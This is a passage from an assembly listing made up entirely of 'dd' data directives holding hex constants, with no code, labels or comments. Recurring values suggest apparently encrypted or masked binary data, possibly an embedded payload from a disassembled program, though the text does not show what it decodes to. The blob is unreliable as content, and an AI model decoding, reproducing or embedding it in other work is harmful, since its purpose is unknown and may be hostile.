8C4AFEB0h, 85A5D160h, 5C632996h, 45149972h, 8195725Ah dd 0AC558C79h, 96860E6Fh, 0E495C629h, 61299685h, 0B14542A4h dd 0E873CE8Bh, 29968595h, 83F62512h, 299685h, 3B28CE03h dd 0A9628C8Dh, 70974324h, 0EAF80F7Dh, 0BA45F234h, 0DA60F613h dd 2CA04E9Ch, 0AB1C2EBh, 0F9DB8EFFh, 37A0F378h, 61D77796h dd 828D31CEh, 7B607D6Ch, 6633BA51h, 66DA7DABh, 82A65F8Ch dd 638CBE82h, 0A9D47FBAh, 26299685h, 472D579h, 87299686h dd 4AFE669Ah, 0A7D3628Ch, 65299685h, 7797745Ah, 996A507Fh dd 340A4B33h, 37F22AACh, 611C3702h, 1929962Bh, 962B7FFAh dd 9FFFFC29h, 0CEE64CE2h, 777E8931h, 0A1DC77A2h, 1E299685h dd 0F090CD61h, 4E9C8DB3h, 0D4638CA7h, 299685A6h, 3AC57C29h dd 5BE17592h, 77585FDAh, 0DD573E96h, 17F77B36h, 31CE41F7h dd 0A0797C87h, 8E7D5F8Eh, 857E6C53h, 31CECB71h, 6F787D88h dd 0A309C04Fh, 0F5B3A0F4h, 709FAF55h, 468D2EC9h, 29AC65AAh dd 6A6BA03Eh, 5ED47AAFh, 0E68D638Ch, 0C1CF058Ch, 2540E029h dd 895F8C23h, 0DAB7BF1Ch, 0D907C23Dh, 638C6FD1h, 31CE76AAh dd 0A2777E89h, 3E96538Ch, 0A3D28CB3h, 0D92C8D02h, 2ACC05D4h dd 8C31CE14h, 0B95D0C81h, 43FECE9Fh, 96856518h, 1125E229h dd 0CEB58B2Bh, 0C818C31h, 1C4AB95Dh, 83866552h, 81B75712h dd 95E873CEh, 4D299685h, 96856B0Eh, 0CB3BE829h, 14B938DEh dd 11B740F9h, 82EFBF2h, 0DC46CE32h, 354C79AFh, 1F0832C4h dd 454039DAh, 0C0BD2996h, 0A015F4D7h, 0CE0F25C9h, 8595E873h dd 0E00B2996h, 26C8B529h, 39E726C7h, 73CE6FD1h, 968595E8h dd 1151229h, 0B31CA38Ah, 8596535Ah, 299685F4h, 0D97DB471h dd 8B31CE63h, 673F0D80h, 46EB2082h, 71183EF3h, 93E675CCh dd 10299617h, 8C3D0313h, 0B4557863h, 7FA16841h, 0D182B782h dd 299685A8h, 60D67825h, 94BF7AC7h, 299685E9h, 9E3EB966h dd 0CE6FC569h, 787D8831h, 815E8DA1h, 85FE7F9Ch, 0A5B62996h dd 299685D4h, 0B5725451h, 913AC57Ch, 86A88174h, 2346CEB0h dd 0A00732E9h, 57B98393h, 6FAA638Ch, 90A66788h, 0E873CEAAh dd 29968595h, 0E8011512h, 0FF46CE48h, 63F35ED4h, 116CDF6Fh dd 0C9299664h, 639AE370h, 6A172996h, 59EF6EC4h, 8CA74E9Ch dd 0CE76AA63h, 827D8831h, 6B3EAF5Ch, 71C871CBh, 968597E2h dd 97351429h, 61A88174h, 648C67CDh, 0BE827DABh, 4F8C31CEh dd 7B2E9F6Eh, 0C46A3FB6h, 9685F881h, 648CB729h, 608976ABh dd 8D424488h, 5D94157Ch, 68D183B9h, 0A57D694Fh, 50236E3Eh dd 0EE44EA1Fh, 0B55B46CEh, 4832CDFAh, 2EAB384h, 0F6181CE2h dd 237D6F7h, 1D31D4F5h, 40B78217h, 6EC46A9Bh, 91FE46CEh dd 91A6D784h, 66232995h, 70DD9A8Eh, 60AF0FDEh, 6BA03EB9h dd 73CE75CBh, 968595E8h, 1151229h, 1F2148E8h, 0CEA74E9Ch dd 6E808B31h, 91AF5E7Fh, 6F4F68D1h, 4E5F2DA0h, 0EC1FF967h dd 181E30F9h, 76AB648Ch, 92A45F89h, 0CE6FD1ACh, 9685EC8Dh dd 43BC6929h, 0BC827299h, 95E873CEh, 0B299685h, 0C9B628DFh dd 8C04BC25h, 0CDC28D63h, 0C402FC31h, 0FDEBD40Dh, 5BD8F06h dd 0EA978EC0h, 0A298BE73h, 648CBE82h, 0CE8F31ABh, 0E7F8A31h dd 0DD7EBB5Bh, 299685A0h, 0D1B86815h, 9E6D4F68h, 5BAC1017h dd 0CEBA8096h, 17808B31h, 845558B7h, 815A8372h, 7227AE59h dd 9CB782B7h, 299685E1h, 0A78DA15Eh, 73CE6FD1h, 968595E8h dd 0EC151229h, 96854E2Fh, 38DECB29h, 31CE4FEDh, 7D6C828Dh dd 827AAE61h, 5CB089BEh, 571D4234h, 772A126h, 84299637h dd 76BC5297h, 85EC8DCEh, 30A42996h, 0EA37F06Ah, 0A51B95FDh dd 35DBEFC5h, 6815DD71h, 9168D1B8h, 9685F782h, 7C977429h dd 29968601h, 0A648817Eh, 0E873CE90h, 29968595h, 0A429E00Bh dd 0AB1411F5h, 14C5C83Fh, 8C082E02h, 7659BB64h, 0EA50C5C9h dd 0EA720B28h, 0FFD2995h, 3235FCFDh, 0D9100DF1h, 0E873CE27h dd 29968595h, 37011512h, 8E648CD9h, 0C87D95Eh, 0FF21E8E8h dd 0C8E346CEh, 4897C5Dh, 48407F55h, 0D8A14AECh, 0FF0FFEDFh dd 8595E839h, 0B24D2996h, 21F8FD0Ah, 59EF270Dh, 8CA74E9Ch dd 9E76AB64h, 0A439A48Ch, 0F44AEC65h, 628C6FD1h, 5B9C70A9h dd 32BD76F2h, 827BC155h dd 6FA040B7h, 46CE59DFh, 5ECCD391h, 430628A3h, 2995A33Ah dd 8C628CF9h, 0BC2082BCh, 3D8F4A4Bh, 0C70264A6h, 512CE712h dd 0CE299684h, 50AE6D1h, 6FD14BF1h, 7DAB648Ch, 9F55B782h dd 6E549C0Fh, 49BC1D9Ah, 0BB819544h, 828D31CEh, 39B85E0Bh dd 36C17893h, 5CE27499h, 608CBE82h, 984126A7h, 46B1686Dh dd 1F6D60A5h, 5024FAE8h, 908F6567h, 43B1998Ch, 3DBA6F96h dd 74CA6C9Fh, 8CA74E9Ch, 0CFC98E64h, 26109024h, 456628CEh dd 9C55CA2Bh, 4F68D16Ch, 41189D6Ch, 31CE87ADh, 19D87E89h dd 2BA158B3h, 1146B869h, 6FC569F2h, 6E4F68D1h, 89A98F9Fh dd 8A31CEB7h, 0BA766F7Fh, 7F8A31CEh, 0AF60806Fh, 40B78291h dd 0B1686D9Eh, 7263A846h, 89A197B7h, 0D046CEB7h, 2E3F8D9Fh dd 19EECEC9h, 0F60138F5h, 0EEBB32D7h, 0EE780548h, 0A4282995h dd 13B28FE7h, 8D805DB2h, 76985108h, 0CE5F817Eh, 8595E873h dd 15122996h, 8CD93701h, 8976AB64h, 0AA90A661h, 95E873CEh dd 12299685h, 9D10F7E3h, 47F105CCh, 6C5CEAE2h, 48FE10D9h dd 0B78990A6h, 95E873CEh, 12299685h, 48E80115h, 7E8931CEh dd 5D4AA277h, 0CAE418B7h, 23D944EAh, 78A8618Ch, 828D31CEh dd 2FB85E0Bh, 0D8B8828Ah, 55AF6B25h, 800E6FACh, 9E8B2996h dd 0B789C278h, 85EC8DCEh, 9F692996h, 0AB3E9FFh, 3C6BB103h dd 0CE6C9C55h, 8595E873h, 15122996h, 0E5D23701h, 46EC0205h dd 528C628Ch, 5F79F68h, 2FD24EDh, 0F1A82DDAh, 73CED75Dh dd 968595E8h, 0AA151229h, 1ACFC643h, 0B14EEBF4h, 48EE000Bh dd 95E881C7h, 4D299685h, 851667F4h, 5F8C2996h, 0B34340A6h dd 9C1F218Dh, 79C0A74Eh, 26A75C7Eh, 0E6F95756h, 89406DFAh dd 31CECF65h, 0BA6E808Bh, 89B0897Ch, 9685AFCAh, 0D1AC6729h dd 4E299685h, 9EB06D51h, 8C73CE98h, 0C184AA63h, 299685B8h dd 68914835h, 9685D2ABh, 0BC524F29h, 4F68D176h, 0BA249B6Ah dd 698D5C51h, 0A9628CD3h, 0A8B38E2Bh, 299685D5h, 6FAC5552h dd 2996860Eh, 0C2789E8Bh, 217B46CEh, 0AAE3C0DAh, 0CEA55B84h dd 8595E873h, 15122996h, 852B4E01h, 0EFEA2996h, 9E757A52h dd 88B15EA0h, 46CED066h, 1329642Ch, 8A799DB7h, 0C925925Ch dd 898AB046h, 0E646CEB7h, 0D47C6F65h, 0D546FFABh, 2A08D0FFh dd 934647C4h, 8E79615Eh, 6FBC5207h, 788B2DCAh, 290A73D6h dd 0AA872996h, 96291069h, 59908D29h, 55B417A0h, 31CE7BC1h dd 9C714E8Bh, 65894019h, 0B78975CBh, 628CBE82h, 3BB25177h dd 0BC47716Eh, 68D1D375h, 139A694Fh, 96715946h, 8EA44A1Fh dd 95E873CEh, 12299685h, 2D0115h, 855F1A39h, 1FDC2996h dd 95E8290Fh, 54299685h, 876552EFh, 0B6581184h, 0A74E9C80h dd 0C19379C0h, 0B635FE94h, 0CEF349EDh, 275F8731h, 2C812062h dd 7382945Dh, 0CE1EC249h, 8B2DD246h, 930C7600h, 9952E42Bh dd 8FEA29D0h, 0C299626h, 2689F41Fh, 19062996h, 0E8F83ED0h dd 29968595h, 0AA638C54h, 559B4423h, 7142427h, 931ACF32h dd 91E32C94h, 0ACB66876h, 4CE73D8Fh, 473C6FA4h, 46CE91A7h dd 33B7759Eh, 4C6E6933h, 0D36336B7h, 6F882634h, 1BCEBF4Eh dd 628C45FBh, 6FD177A9h, 70A9628Ch, 26A76687h, 825DE373h dd 0E873CEBEh, 29968595h, 0BB2BE20Bh, 1BD62F9Ch, 852558FBh dd 24DD2996h, 853B3EDDh, 0CBB82996h, 96854D30h, 0E2DDCA29h dd 39FF0FFCh, 32E11821h, 29968547h, 0E7EE21BDh, 3FCFCC32h dd 0A546CEF9h, 7677B0D6h, 1240BF4Fh, 9077635Ch, 94AA4C1Dh dd 818C31CEh, 3AB95D0Ch, 65A84594h, 0D070B970h, 496468D1h dd 79D0D8B5h, 6F1D2E86h, 0D3DE188h, 46CE53E9h, 15B9018Fh dd 6D2812FAh, 6A889CB2h, 7F8A31CEh, 85A1DC6Fh, 21602996h dd 4732E118h, 0C4299685h, 0CBC245A5h, 0FD43D31Eh, 0C0A74E9Ch dd 3E879379h, 34886A40h, 628C1C22h, 31CE77A9h, 5D0C818Ch dd 6A8C7962h, 0A354B881h, 0ED90CB2Eh, 6A2995FEh, 8B2057BDh dd 0CE241A3Ch, 9685EC8Dh, 40BC6929h, 73009577h, 2CFAABBh dd 0AF413CD7h, 0C1BE2995h, 8DCE072Dh, 299685ECh, 0BBBE5DA4h dd 31299685h, 5F1C828Dh, 0C67A27CFh, 0B0896FD1h, 3CDC0D5Ch dd 0F122449Ch, 2995F488h, 3DD11805h, 0E873CEF7h, 29968595h dd 83F62512h, 299685h, 0B28CE03h, 96852D50h, 4E0DAA29h dd 2996852Bh, 0B36FBA8h, 0B73EC7F4h, 0CEE64CE2h, 6D818C31h dd 0A24AB574h, 95B97065h, 0E873CE9Fh, 29968595h, 13FAE312h dd 13B938DEh, 16B641F8h, 0D1D75DF1h, 0D1F1A16Fh, 0B7B4BBDAh dd 55837C3Dh, 0CEB288AEh, 0EC8DCE73h, 69299685h, 0A31758BCh dd 6D415522h, 61F386C9h, 0B3702996h, 0C06FD195h, 0EA93C079h dd 67299685h, 8C9E94BAh, 886FAA63h, 7326A768h, 0BE825DE3h dd 85EC8DCEh, 0BC692996h, 73CE7E40h, 90A65F8Ch, 9685BCBDh dd 74CD7429h, 968596E7h, 5161329h, 29968574h, 21CB34F1h dd 2036E3EAh, 0CEFD2BD8h, 0E2457346h, 84AA2B90h, 66878DAAh dd 50F371C9h, 0CE93A94Dh, 7A80DB46h, 4BEB613Fh, 96BCC508h dd 0F9E2DD29h, 0A114F1DAh, 0DD8C01C8h, 5F8C0339h, 85D4A5B6h dd 0CF8C2996h, 299685AEh, 9B887E2Bh, 9A29AB56h, 1C98F919h dd 199C714Eh, 0CF658940h, 828D31CEh, 5EB6736Ch, 75680F7h dd 7DC353DAh, 2DA7608Ch, 0EC8DCE93h, 69299685h, 32A3608Ah dd 7065A845h, 569C70B9h, 5E35731Bh, 0CE063AEFh, 0EBDA7246h dd 33C3AB89h, 3AD92009h, 29958C3Fh, 92FBFBCh, 51826790h dd 0B468A16Ch, 4169FF5Ah, 96856712h, 0D537E429h, 21841BB7h dd 0F414DD75h, 0BAA58DCEh, 0F3B02F8Fh, 0FE09B14Eh, 3ACBF0F7h dd 0B2BE6B3h, 0E873CE35h, 29968595h, 0E8011512h, 0F419B641h dd 0B789DC62h, 8DCE73CEh, 299685ECh, 0DE9FBC69h, 5B299685h dd 0A15F88AEh, 76AA638Ch, 829168D1h, 299685F7h, 96795574h dd 8C85BB5Bh, 8278A861h, 0A8D182B7h, 25299685h, 0E860D678h dd 299693ABh, 8981C73Eh, 8D31CEB7h, 199C6D50h, 55048940h dd 32CD74C1h, 76D97D8Ah, 29968603h, 6D9644BBh, 0D47431C9h dd 73CE6FD1h, 968595E8h, 1151229h, 0E509C8F2h, 0CE41DF2Ah dd 1D0C4046h, 0AD4194A7h, 31CE7C34h, 9B704E8Bh, 648A3F1Ah dd 968598E1h, 607C5029h, 0A6C1A912h, 480115F7h, 0AFD103BAh dd 31CE999Fh, 9A694F8Ch, 1069AA4Fh, 8D299686h, 496F7E90h dd 68D186BAh, 20590164h, 0BD512095h, 0CEB78977h, 0B873A173h dd 689BDE7Dh, 6B182996h, 4F12A989h, 0E2F18CBFh, 0EA92995h dd 86535AAFh, 81698870h, 5D5A0F86h, 0A5438E81h, 7AE8BE82h dd 6F562300h, 31CE1F21h, 8E6D818Ch, 618CB540h, 887425A8h dd 8C73CEB6h, 4FA98E64h, 0A69DD044h, 9FAF6A6Bh, 95BDD1ACh dd 506E8929h, 8F2D3ABBh, 59A1B57Ch, 75135D8Fh, 5C5EB659h dd 23ECD4AEh, 0F732F7B2h, 8C73CE49h, 0D3A6B55Eh, 50299685h dd 42179E53h, 85E099ACh, 61982996h, 9685C7B2h, 0C8254429h dd 50995045h, 904936BEh, 5045C427h, 0D1BF7599h, 47B0896Fh dd 749936A7h, 0CD61A881h, 0EC8DCE67h, 69299685h, 73CE8CBCh dd 85EC8DCEh, 0BC692996h, 9685DE9Fh, 4F7C5B29h, 9F6A3FB6h dd 2C93568Fh, 95AB4BC4h, 83A55E8Ch, 618CBE82h, 994225A8h dd 689F696Ch, 0A89EA47Ah, 73A046CEh, 0B178F7BDh, 0C5705E9Dh dd 2DA7608Ch, 0D3A6B58Ch, 49299685h, 0B36667A2h, 45563953h dd 48847025h, 0CEC76D81h dd 8595E873h, 15122996h, 340D3401h, 96855627h, 0EA23CC29h dd 64E707F4h, 29968519h, 308E6D1h, 34010BF3h, 84ABCF23h dd 0CEF828E1h, 0A64A8731h, 7C2DA069h, 3DB05783h, 946DCA6Ch dd 85CBAE6Dh, 0D8832996h, 299685A5h, 84816522h, 0B658AF1Bh dd 9685EA93h, 89CA6729h, 299685F0h, 0B828766h, 76BB685Eh dd 713A49CBh, 595F7F19h, 68D17FB5h, 0D2AB6891h, 4F299685h dd 85B8C152h, 48352996h, 0B78990A6h, 7F8A31CEh, 9577C26Fh dd 59DE01E5h, 4AFD11F3h, 2995F32Fh, 0CE51EFACh, 4DFC1046h dd 0CF5F5229h, 7AE85A16h, 68562300h, 1A9B6A4Fh, 0EF89AF3Fh dd 6C67A52h, 9577943Ah, 0F91D33C3h, 0A04E9C43h, 0A73A059h dd 87299686h, 8600799Ah, 807D2996h, 8DCEC86Eh, 299685ECh dd 2B85CC77h, 0B92D1DA7h, 0CE2ED0CCh, 8595E873h, 15122996h dd 70D3401h, 0C145CE9Ah, 0F18CC773h, 6E299663h, 5B7F78B1h dd 0DE7029ACh, 9664126Bh, 7F608F29h, 9752078Eh, 94775562h dd 4B013E40h, 28CE55C6h, 0EC8DCE12h, 69299685h, 73CE8CBCh dd 85EC8DCEh, 0BC692996h, 9685DE9Fh, 0B81F6929h, 6DFBC1FCh dd 0A7138C79h, 9ABC6D60h, 7B9577A0h, 93E675BEh, 102995AEh dd 452BC113h, 0CE5BE175h, 6FD5746h, 41AA9A16h, 0D118D1C4h dd 0F70CAE3Dh, 0F114B542h, 3CD3FBFCh, 29E60AF5h, 0DB61F5A4h dd 95E873CEh, 12299685h, 0D9370115h, 7D8831CEh, 5E8DA178h dd 0D1568A7Fh, 0F7829168h, 74299685h, 5BAC1087h, 0C96F7F5Ah dd 608831CEh, 0B49D45A4h, 0F53C69h, 7E60529h, 62A2ACE5h dd 51088D7Ah, 25690F7Bh, 0F4F916BAh, 0CE3CEC25h, 0DD7C8046h dd 37D74691h, 95E812AEh, 54299685h, 23AA638Ch, 82739C44h dd 8C8D30A7h, 9685AECFh, 0B37E2B29h, 232F5642h, 5D5AE77Bh dd 52078E81h, 4E9C76BCh, 0BFBA59A0h, 3C299685h, 0D5566D3Fh dd 9114FD5h, 618C4FE5h, 7CB55A76h, 77943AC5h, 73CE61D7h dd 968595E8h, 38F81229h, 60F1C1CAh, 8CC772B7h, 299670F1h dd 939DB16Eh, 0A7628976h, 5DE37326h, 818C31CEh, 0BA5F7E6Dh dd 9685E099h, 69A05D29h, 0CEBE82B7h, 8595E873h, 15122996h dd 852B4E01h, 1EE32996h, 2DCE39A1h, 2996854Ch, 43ADCC9h dd 866552EFh, 0B7571283h, 0A74E9C81h, 78A8618Ch, 7D8831CEh dd 0A38DA178h, 5221A18Dh, 585072AAh, 31CEA25Ch, 10D97D88h dd 0E873CE70h, 29968595h, 0F2011512h, 0FC033ECBh, 1A2036CFh dd 9B40B782h, 896EC46Ah, 0F08DCEB7h, 65299685h, 67A26786h dd 0CE6FD1B9h, 0E7F8A31h, 85CDB06Bh, 5D4A2996h, 48738294h dd 0CCBCCDA4h, 0A0BBB7E3h, 2995B7DDh, 0AD64AD5Ah, 0CE6FD17Bh dd 57C92B46h, 95D9C1BCh, 6B413E29h, 61F58C5Fh, 0E7AD1FC6h dd 0D527C4DAh, 8687684Fh, 75E8CA70h, 742996A9h, 0E5A173CEh dd 0F808DE61h, 0A7A8D162h, 78252995h, 58B717D6h, 0C4532BA1h dd 0B545B95Ch, 0BE829BA1h, 0A347B089h, 96B87164h, 8C73CEA0h dd 7326A760h, 860D70E3h, 4FC52996h, 80994ECEh, 43C82633h dd 0BC529752h, 67924734h, 9623D1ACh, 0D8344E29h, 0E80BA12Bh dd 44FA1CD5h, 25A246CEh, 0FB2A5BBh, 0D435FFh, 0C0824387h dd 1E143AEBh, 7CA55E8Ch, 58825B83h, 0BA6F2AABh, 52796633h dd 82A197B7h, 6D9E40B7h, 81C773C9h, 968595E8h, 628C5429h dd 6E5824A9h, 0AFF0CB54h, 50B7239Ch, 4EBD5Dh, 0CE38F65Eh dd 0F81A9246h, 960A225Bh, 0AE29F29h, 6589E981h, 0CEAD4896h dd 0D808B31h, 0D16FBA5Ch, 428C628Ch, 8A02AF5Ch, 0C1EC07ADh dd 7FF29BEBh, 0AE63AE5Dh, 8731CE7Ah, 6811DA7Ch, 8EA06F4Fh dd 5CB089A8h, 8DC3DC86h, 0E157F7DCh, 85EC8DCEh, 0BC692996h dd 0E86FD18Ch, 954FDF0Ch, 8831CEDDh, 0C084787Dh, 32D2198Eh dd 0D42333FEh, 0FFF821EAh, 0F6A32AD9h, 31CEDA60h, 5E0B828Dh dd 8CA07EB8h, 847BA65Fh, 0B389AD56h, 628CBE82h, 41B45377h dd 827FA168h, 2A8855B7h, 0C6C73C9Eh, 7DE8C113h, 8E3A43D0h dd 0CAB72995h, 0CE49EFFFh, 8595E873h, 9202996h, 723DB855h dd 54B86559h, 0D63B68FEh, 0B938DE64h, 0B34CF510h, 48EE0007h dd 5F8C6FD1h, 85D4A5B6h, 64512996h, 9685C6B7h, 8B464329h dd 0B782A246h, 923A9D40h, 0A49ABC75h, 618C73CEh, 0E77425A8h dd 29968596h, 0F1001613h, 0D10C3CC7h, 74926468h, 25E8DF8Fh dd 73CE2B11h, 968595E8h, 0FBE31229h, 0BA39DD14h, 0D154F411h dd 47B0896Fh, 857263A2h, 0C668A164h, 8CBE8270h, 0B6557762h dd 7A9F6A3Fh, 85E994BFh, 0B9662996h, 31CE9F95h, 60DA7C87h dd 0A8D182B7h, 25299685h, 0C760D678h, 8731CE81h, 8EA0797Ch dd 9685C2BBh, 94BF7A29h, 299685E9h, 5E8C9C66h, 0F6A48A45h dd 0EF251B3Bh, 8B31CE59h, 51986D4Eh, 9A698D5Ch, 80C0A94Ch dd 0DD2C25E8h, 9D42BDBDh, 0EF8AC970h, 6C954FDEh, 8C999FAFh dd 9E76AB64h, 11A7B61Eh, 0B58BAB55h, 0D14346CEh, 92144812h dd 4D40C325h, 57C07A9Ch, 538E7F60h, 9624B5C8h, 0E1753229h dd 8931CE5Bh, 0B519D87Eh, 4647C828h, 860578A3h, 85822996h dd 0A36A534Ch, 0BE82BA6Eh, 7D8831CEh, 69118478h, 0B516C9D0h dd 0AD1BDA7Ch, 0B782B256h, 0D97A9B40h, 299685A0h, 85A9601Dh dd 0AA638CAFh, 729B4423h, 64729D7Bh, 0CEA2A0BAh, 0B9E5246h dd 6D81928Bh, 8CB5408Eh, 0CE7DAB64h, 0A34B8831h, 0A791A56Ch dd 885E8C89h, 4053D886h, 8EEF2C71h, 0B299641h, 0EA1ED31Eh dd 818C31CEh, 7FB95D0Ch, 0AA638CA1h, 0BCF29D6Fh, 4FD5CE1h dd 36D82F9Bh, 8731CE00h, 0F083797Ch, 0A4EBEF8Ch, 5D86A861h dd 50B7239Ch, 0FECA137Ch, 22343EEEh, 0AB648C1Ch, 0A7628976h dd 5DE37326h, 95E873CEh, 12299685h, 48E80115h, 26A7608Ch dd 676E9941h, 433E2CE3h, 875EAEAh, 0FFD9104Ch, 0E81BBD3Ah dd 2DDA02E5h, 9CEC52E4h, 638CA74Eh, 85E099BAh, 0A05D2996h dd 73CEB769h, 968595E8h, 1151229h, 0E2FAD237h, 48F42B39h dd 0A965D3C3h, 1D706743h, 46CE43F9h, 0A8485B0Dh, 0C928CE65h dd 2059FA25h, 9D299646h, 5EFC0CE0h, 3231DF5h, 46CE1ACEh dd 567C1EEh, 151F2FEDh, 3AE10BF4h, 95ED6019h, 0E920DD29h dd 631645E4h, 0E02995EDh, 0FA06EE23h, 0C479E351h, 8C0D33C3h dd 0CE76AA63h, 0C818C31h, 9030B95Dh, 7F8A31CEh, 14A43E0Eh dd 0CB154E1h, 15F2DAC5h, 912C4E01h, 0D5E22995h, 11F8E3F8h dd 9104CD9Ch, 838D14BBh, 0F33EB8C6h, 648CDD63h, 9E3D2AABh dd 5F7D6A6Bh, 99C5A0ACh, 3B063BC5h, 96855D20h, 92DDA29h dd 0A04E9C33h, 5558B717h, 0CECC7284h, 6C828D31h, 2F53C597h dd 0C726914Dh, 9059AA10h, 83CFAA69h, 4F4C2996h, 68363BFh dd 0CEC50000h, 94CEC946h, 31C57D19h, 0DFF1CC2h, 0CD529199h dd 0F38695B6h, 70299666h, 64AD5881h, 628B74ADh, 0CEB58BABh dd 83F9DA46h, 143A6AC2h, 46CE35CBh, 21583EFDh, 46092DC9h dd 2995A932h, 0A9628CF3h, 0A8678770h, 46CEB086h, 0B3427813h dd 0CE419DC5h, 0E749F303h, 95E873CEh, 12299685h, 9E0FF6E3h dd 1F006CBh, 30DFFFDCh, 31CE47F9h, 766F7F8Ah, 0DCDDE8BAh dd 0EF0C3F10h, 0E873CE59h, 29968595h, 2011512h, 31CE21D4h dd 7E6D818Ch, 0CC75AC61h, 9685EE8Fh, 98BE6B29h, 6468D1A2h dd 2231B915h, 29966957h, 0BEC527D4h, 9E94BA35h, 818C31CEh dd 49C02B0Ch, 5E7F6E80h, 69CB5C92h, 5CC8A64h, 8831CEE3h dd 0AC59827Dh, 5DE7029h dd 8C31CE6Bh, 607E6D81h, 0E49BEC8Eh, 0FABA12FBh, 0C779B089h dd 7F8A31CEh, 4CB3766Fh, 0B6636AA3h, 608C9AA0h, 85E19CB7h dd 0A15E2996h, 58826568h, 0A3D22AABh, 0F316B5B7h, 58E22702h dd 0A74E9CEAh, 8F8A31CEh, 9685F984h, 40897629h, 96B79B6Ch dd 38DE46F4h, 47F914B9h, 31CE6FD1h, 7E6D818Ch, 9B71A85Dh dd 1D4D6B82h, 5DE37397h, 4DE8BE82h, 953708FAh, 29EE5E3Fh dd 698DD223h, 8A31CED3h, 0BB5B0E7Fh, 0D2768F3Ch, 0FAA946CEh dd 0E6CE3D9Fh, 81956C9Dh, 73CE59B7h, 968595E8h, 1151229h dd 96A5464Eh, 31CECF29h, 986B4D8Ah, 88D4415h, 8C2EBD51h dd 7263A645h, 82CE72B7h, 0AA638CBEh, 73CE942Ah, 0D11BEA1h dd 2B94AD7Ch, 9DB046BDh, 29958DDCh, 0CE7CAC59h, 0A55E8C73h dd 9685E396h, 93A36029h, 448C80A9h, 0BBF5AD16h, 0E8053BDBh dd 6281F80Eh, 8731CEDBh, 0A3B0797Ch, 299685DAh, 0CF5FAA57h dd 9749BA20h, 6D4F68D1h, 0AC42179Eh, 8931CE86h, 0A1B2777Eh dd 299685D8h, 0CD61A855h, 9947BC1Eh, 7D8831CEh, 548DA178h dd 13C22A95h, 84AA5FA6h, 8A31CEAEh, 0BB5B0E7Fh, 27868998h dd 5E8C002Eh, 0A34730A5h, 0EC1B7164h, 37CCEEFEh, 1E2EE3B6h dd 0AC617E79h, 0D8D05329h, 1D1B276Fh, 9CFC42D4h, 0B617A04Eh dd 4B42C525h, 836C539Eh, 0CECE648Ah, 8A0C0046h, 961BB0C9h dd 9C702D29h, 6D81BE65h, 72A75C7Eh, 8EF18CC7h, 82672995h dd 67571283h, 0D19E94BAh, 0A55E8C6Fh, 8931CE83h, 6A0FD87Eh dd 0D0A96A8Fh, 4D299685h, 85BAC350h, 4A372996h, 84F18EA4h dd 0DCFEF940h, 68F3A627h, 29968515h, 84EB8ECDh, 0BB682996h dd 0DB765E4Bh, 2F361AF0h, 0C8A49ABCh, 0A74E9C78h, 77885E8Ch dd 0E7A06227h, 0DAA4F9Ah, 81585DB0h, 31CEC76Dh, 69A24C89h dd 0DA7C2DA0h, 46CEBE60h, 0DFDA9D7Bh, 0ABD6E40h, 96A8A068h dd 8E3CBB5Bh, 8933CC75h, 0B85E0B82h, 8931CE82h, 710FD87Eh dd 517311E8h, 0EB28D149h, 9DB9892h, 36FC120Fh, 51023702h dd 29968528h, 0E056F8A5h, 95E873CEh, 12299685h, 0D4020115h dd 735E8C21h, 0D808C148h, 5F8C6FD1h, 0B78282A6h, 85A8D182h dd 78252996h, 5E8C60D6h, 31CE83A5h, 766F7F8Ah, 69A24CB3h dd 59EF6FC5h, 2CA04E9Ch, 9129D280h, 0D6D00A4Bh, 0DC55D23Ah dd 0CE53E90Dh, 17808B31h, 886154B3h, 0B3628766h, 3A611161h dd 0C8536657h, 299636B5h, 8FCC7532h, 299636EEh, 0CE73BE6Bh dd 0A55E8C73h, 9FDA7930h, 1C299636h, 90C88D5Fh, 31D48B23h dd 6FD1171Dh, 1B6146CEh, 0AE7C78FCh, 677F6988h, 87DDE242h dd 0E90BE1EEh, 0B6AA067Bh, 0D1679950h, 98326468h, 3AF212EFh dd 648C1E14h, 0BE827DABh, 0A0FE6AE8h, 78C17877h, 8C0CA2DBh dd 0D1621FDBh, 0DB8C0CA8h, 5FA44625h, 0E076BB6Eh, 0CD46CE5Ah dd 0FC52884Eh, 537B7A9Ch, 0A28F85BCh, 0A0D97A52h, 1D299602h dd 90BF8C60h, 0CE91A747h, 8595E873h, 15122996h, 854E2FECh dd 0DECB2996h, 0E019FE38h, 96854A33h, 34DAC729h, 79648CFEh dd 6633BA55h, 72B75279h, 0AD8645C7h, 70A9E8D5h, 73CE58DEh dd 968595E8h, 6B0E4D29h, 0E8299685h, 2DEECB3Bh, 2996854Ch dd 0AA15DCC9h, 0BE27C744h, 31DA04FBh, 0CCE8171Dh, 1DA11F29h dd 0A5B65F8Ch, 299685D4h, 189D5451h, 595CAB0Fh, 18C614E3h dd 4E9C5B15h, 91392CA0h, 36C7E078h, 648C1A20h, 6FD17DABh dd 8C895F8Ch, 0D1A1478Bh, 0C0EBEABEh, 7051ACECh, 0BE73BE4Fh dd 0B9527C83h, 46CE9F95h, 0CF024953h, 0E20B2B3Ch, 4831E217h dd 0C529960Ch, 0CE0036D8h, 6735EE46h, 93A33599h, 75937C64h dd 9B40B782h, 8BB6636Ah, 9685ADD0h, 0D97D2A29h, 0A7608C63h dd 709B4126h, 0EAF80F7Dh, 9C7F4134h, 5F8CA74Eh, 290DAA89h dd 0C801CBB7h, 8931CE18h, 0C05ED87Eh, 6E4E46CEh, 82CA7A07h dd 0AE617D6Ch, 8831CE7Ah, 8DA1787Dh, 31CE8DA3h, 806F7F8Ah dd 0DC9DBE5Fh, 59299685h, 43BC65ACh, 0A8B36E95h, 299685D5h dd 7BC15552h, 7F8A31CEh, 32BB5B0Eh, 0B138E88Eh, 0EFB160F5h dd 8D31CE59h, 0B85E0B82h, 8C581D49h, 0D176AA63h, 0AA638C6Fh dd 0CEBE8276h, 443E1946h, 0DF1AFB64h, 95FB4934h, 35D9C629h dd 1DBE15B6h, 0D34E5E8h, 95FB2B4Eh, 36FBA829h, 0E7A090Bh dd 2E6BF859h, 0A1787D92h, 0CE70C668h, 0BF88C346h, 9598E994h dd 53B96629h, 3ADC5880h, 18210FB1h, 854732E1h, 54FF2996h dd 29968529h, 0E605F9A6h, 0DE8B0207h, 4C2DEE13h, 0C9299685h dd 0CE043ADCh, 6E808B31h, 14AB438Fh, 0BB6E5FA8h, 638CA59Bh dd 68D176AAh, 8F9F6E4Fh, 0AA638CA9h, 8D31CE76h, 615E0B82h dd 7F688E79h, 0B138E8C1h, 8CB160F5h, 3D2AAB64h, 0C465689Bh dd 9685E697h, 5AA66329h, 15772733h, 0EDD2ED14h, 5FFCAD20h dd 2996851Eh, 0F248EE9Bh, 32D46CEh, 